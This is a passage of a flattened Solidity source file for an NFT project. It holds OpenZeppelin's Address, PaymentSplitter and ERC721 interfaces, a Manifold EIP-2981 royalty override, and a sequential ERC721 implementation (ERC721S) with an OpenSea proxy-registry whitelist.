* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/finance/PaymentSplitter.sol
pragma solidity ^0.8.0;
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + _totalReleased;
uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account];
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] = _released[account] + payment;
_totalReleased = _totalReleased + payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/overrides/IRoyaltyOverride.sol
pragma solidity ^0.8.0;
/// @author: manifold.xyz
/**
* Simple EIP2981 reference override implementation
*/
interface IEIP2981RoyaltyOverride is IERC165 {
event TokenRoyaltyRemoved(uint256 tokenId);
event TokenRoyaltySet(uint256 tokenId, address recipient, uint16 bps);
event DefaultRoyaltySet(address recipient, uint16 bps);
struct TokenRoyalty {
address recipient;
uint16 bps;
}
struct TokenRoyaltyConfig {
uint256 tokenId;
address recipient;
uint16 bps;
}
/**
* @dev Set per token royalties. Passing a recipient of address(0) will delete any existing configuration
*/
function setTokenRoyalties(TokenRoyaltyConfig[] calldata royalties) external;
/**
* @dev Get the number of token specific overrides. Used to enumerate over all configurations
*/
function getTokenRoyaltiesCount() external view returns(uint256);
/**
* @dev Get a token royalty configuration by index. Use in conjunction with getTokenRoyaltiesCount to get all per token configurations
*/
function getTokenRoyaltyByIndex(uint256 index) external view returns(TokenRoyaltyConfig memory);
/**
* @dev Set a default royalty configuration. Will be used if no token specific configuration is set
*/
function setDefaultRoyalty(TokenRoyalty calldata royalty) external;
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: contracts/overrides/RoyaltyOverrideCore.sol
pragma solidity ^0.8.0;
/// @author: manifold.xyz
/**
* Simple EIP2981 reference override implementation
*/
abstract contract EIP2981RoyaltyOverrideCore is IEIP2981, IEIP2981RoyaltyOverride, ERC165 {
using EnumerableSet for EnumerableSet.UintSet;
TokenRoyalty public defaultRoyalty;
mapping(uint256 => TokenRoyalty) private _tokenRoyalties;
EnumerableSet.UintSet private _tokensWithRoyalties;
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IEIP2981).interfaceId || interfaceId == type(IEIP2981RoyaltyOverride).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Sets token royalties. When you override this in the implementation contract
* ensure that you access restrict it to the contract owner or admin
*/
function _setTokenRoyalties(TokenRoyaltyConfig[] memory royaltyConfigs) internal {
for (uint i = 0; i < royaltyConfigs.length; i++) {
TokenRoyaltyConfig memory royaltyConfig = royaltyConfigs[i];
require(royaltyConfig.bps < 10000, "Invalid bps");
if (royaltyConfig.recipient == address(0)) {
delete _tokenRoyalties[royaltyConfig.tokenId];
_tokensWithRoyalties.remove(royaltyConfig.tokenId);
emit TokenRoyaltyRemoved(royaltyConfig.tokenId);
} else {
_tokenRoyalties[royaltyConfig.tokenId] = TokenRoyalty(royaltyConfig.recipient, royaltyConfig.bps);
_tokensWithRoyalties.add(royaltyConfig.tokenId);
emit TokenRoyaltySet(royaltyConfig.tokenId, royaltyConfig.recipient, royaltyConfig.bps);
}
}
}
/**
* @dev Sets default royalty. When you override this in the implementation contract
* ensure that you access restrict it to the contract owner or admin
*/
function _setDefaultRoyalty(TokenRoyalty memory royalty) internal {
require(royalty.bps < 10000, "Invalid bps");
defaultRoyalty = TokenRoyalty(royalty.recipient, royalty.bps);
emit DefaultRoyaltySet(royalty.recipient, royalty.bps);
}
/**
* @dev See {IEIP2981RoyaltyOverride-getTokenRoyaltiesCount}.
*/
function getTokenRoyaltiesCount() external override view returns(uint256) {
return _tokensWithRoyalties.length();
}
/**
* @dev See {IEIP2981RoyaltyOverride-getTokenRoyaltyByIndex}.
*/
function getTokenRoyaltyByIndex(uint256 index) external override view returns(TokenRoyaltyConfig memory) {
uint256 tokenId = _tokensWithRoyalties.at(index);
TokenRoyalty memory royalty = _tokenRoyalties[tokenId];
return TokenRoyaltyConfig(tokenId, royalty.recipient, royalty.bps);
}
/**
* @dev See {IEIP2981RoyaltyOverride-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId, uint256 value) public override view returns (address, uint256) {
if (_tokenRoyalties[tokenId].recipient != address(0)) {
return (_tokenRoyalties[tokenId].recipient, value*_tokenRoyalties[tokenId].bps/10000);
}
if (defaultRoyalty.recipient != address(0) && defaultRoyalty.bps != 0) {
return (defaultRoyalty.recipient, value*defaultRoyalty.bps/10000);
}
return (address(0), 0);
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/ERC721/ERC721S.sol
// Forked from: Genetic Chain: ERC721Sequencial
pragma solidity ^0.8.0;
//------------------------------------------------------------------------------
/*
░██████╗░██╗░░░██╗░█████╗░██╗░░░░░██╗███████╗██╗███████╗██████╗░ ██████╗░███████╗██╗░░░██╗░██████╗
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╚██████╔╝██║░░░██║██╔══██║██║░░░░░██║██╔══╝░░██║██╔══╝░░██║░░██║ ██║░░██║██╔══╝░░░╚████╔╝░░╚═══██╗
░╚═██╔═╝░╚██████╔╝██║░░██║███████╗██║██║░░░░░██║███████╗██████╔╝ ██████╔╝███████╗░░╚██╔╝░░██████╔╝
░░░╚═╝░░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚═╝╚═╝░░░░░╚═╝╚══════╝╚═════╝░ ╚═════╝░╚══════╝░░░╚═╝░░░╚═════╝░
*/
//------------------------------------------------------------------------------
// Author: orion (@OrionDevStar)
//------------------------------------------------------------------------------
//----------------------------------------------------------------------------
// Openzeppelin contracts
//----------------------------------------------------------------------------
//----------------------------------------------------------------------------
// OpenSea proxy
//----------------------------------------------------------------------------
//Used to delegate ownership of a contract to another address, to save on unneeded transactions to approve contract use for users
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721
* [ERC721] Non-Fungible Token Standard
*
* This implmentation of ERC721 assumes sequencial token creation to provide
* efficient minting. Storage for balance are no longer required reducing
* gas significantly. This comes at the price of calculating the balance by
* iterating through the entire array. The balanceOf function should NOT
* be used inside a contract. Gas usage will explode as the size of tokens
* increase. A convineiance function is provided which returns the entire
* list of owners whose index maps tokenIds to thier owners. Zero addresses
* indicate burned tokens.
*
*/
contract ERC721S is Context, ERC165, IERC721, IERC721Metadata, ContextMixin, NativeMetaTransaction {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
//Opensea Proxy
address private immutable _proxyRegistryAddress;
// Mapping from token ID to owner address
address[] _owners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_, address proxyRegistryAddress_) {
_proxyRegistryAddress = proxyRegistryAddress_;
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256 balance) {
require(owner != address(0), "ERC721: balance query for the zero address");
unchecked {
uint256 length = _owners.length;
for (uint256 i = 0; i < length; ++i) {
if (_owners[i] == owner) {
++balance;
}
}
}
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: owner query for nonexistent token");
address owner = _owners[tokenId];
return owner;
}
/**
* @dev Returns entire list of owner enumerated by thier tokenIds. Burned tokens
* will have a zero address.
*/
function owners() public view returns (address[] memory) {
address[] memory owners_ = _owners;
return owners_;
}
/**
* @dev Return largest tokenId minted.
*/
function maxTokenId() public view returns (uint256) {
return _owners.length > 0 ? _owners.length - 1 : 0;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721S.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(_proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokenId < _owners.length && _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721S.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to) internal virtual returns (uint256 tokenId) {
tokenId = _safeMint(to, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
bytes memory _data
) internal virtual returns (uint256 tokenId) {
tokenId = _mint(to);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to) internal virtual returns (uint256 tokenId) {
require(to != address(0), "ERC721: mint to the zero address");
tokenId = _owners.length;
_beforeTokenTransfer(address(0), to, tokenId);
_owners.push(to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721S.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721S.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721S.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/ERC721/ERC721SE.sol
// Forked from: Genetic Chain: ERC721SeqEnumerable
pragma solidity ^0.8.0;
//------------------------------------------------------------------------------
/*
░██████╗░██╗░░░██╗░█████╗░██╗░░░░░██╗███████╗██╗███████╗██████╗░ ██████╗░███████╗██╗░░░██╗░██████╗
██╔═══██╗██║░░░██║██╔══██╗██║░░░░░██║██╔════╝██║██╔════╝██╔══██╗ ██╔══██╗██╔════╝██║░░░██║██╔════╝
██║██╗██║██║░░░██║███████║██║░░░░░██║█████╗░░██║█████╗░░██║░░██║ ██║░░██║█████╗░░╚██╗░██╔╝╚█████╗░
╚██████╔╝██║░░░██║██╔══██║██║░░░░░██║██╔══╝░░██║██╔══╝░░██║░░██║ ██║░░██║██╔══╝░░░╚████╔╝░░╚═══██╗
░╚═██╔═╝░╚██████╔╝██║░░██║███████╗██║██║░░░░░██║███████╗██████╔╝ ██████╔╝███████╗░░╚██╔╝░░██████╔╝
░░░╚═╝░░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚═╝╚═╝░░░░░╚═╝╚══════╝╚═════╝░ ╚═════╝░╚══════╝░░░╚═╝░░░╚═════╝░
*/
//------------------------------------------------------------------------------
// Author: orion (@OrionDevStar)
//------------------------------------------------------------------------------
/**
* @dev This is a no storage implementation of the optional extension {ERC721}
